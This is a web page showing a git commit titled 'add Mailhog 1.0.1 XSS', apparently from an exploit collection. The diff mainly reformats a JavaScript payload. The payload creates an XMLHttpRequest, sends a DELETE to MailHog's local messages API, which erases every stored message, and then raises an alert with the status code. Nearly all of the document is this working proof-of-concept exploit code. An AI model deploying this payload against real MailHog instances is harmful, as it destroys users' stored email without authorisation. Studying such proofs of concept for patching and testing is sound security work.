add Mailhog 1.0.1 XSS
This commit is contained in:
parent
7eec310d18
commit
c3dbd01f10
@ -9,27 +9,19 @@
|
||||
<script>
|
||||
|
||||
var XMLHttpFactories = [
|
||||
|
||||
function () {
|
||||
|
||||
return new XMLHttpRequest()
|
||||
|
||||
},
|
||||
|
||||
function () {
|
||||
|
||||
return new ActiveXObject("Msxml2.XMLHTTP")
|
||||
|
||||
},
|
||||
function () { return new ActiveXObject("Msxml2.XMLHTTP")},
|
||||
|
||||
function () {
|
||||
|
||||
return new ActiveXObject("Msxml3.XMLHTTP")
|
||||
|
||||
},
|
||||
|
||||
function () {
|
||||
|
||||
return new ActiveXObject("Microsoft.XMLHTTP")
|
||||
|
||||
}
|
||||
@ -37,46 +29,28 @@
|
||||
];
|
||||
|
||||
function createXMLHTTPObject() {
|
||||
|
||||
var xmlhttp = false;
|
||||
|
||||
for (var i=0;i<XMLHttpFactories.length;i++) {
|
||||
|
||||
try {
|
||||
|
||||
xmlhttp = XMLHttpFactories[i]();
|
||||
|
||||
}
|
||||
|
||||
catch (e) {
|
||||
|
||||
continue;
|
||||
|
||||
}
|
||||
|
||||
break;
|
||||
|
||||
}
|
||||
|
||||
return xmlhttp;
|
||||
|
||||
}
|
||||
|
||||
var xhr = createXMLHTTPObject();
|
||||
|
||||
xhr.open("DELETE", "http://localhost:8025/api/v1/messages", true);
|
||||
|
||||
xhr.onreadystatechange = function()
|
||||
|
||||
{
|
||||
|
||||
if (xhr.readyState == 4)
|
||||
|
||||
alert("Request completed, with the following status code: " +
|
||||
xhr.status);
|
||||
|
||||
}
|
||||
|
||||
xhr.send("");
|
||||
|
||||
</script>
|
Loading…
x
Reference in New Issue
Block a user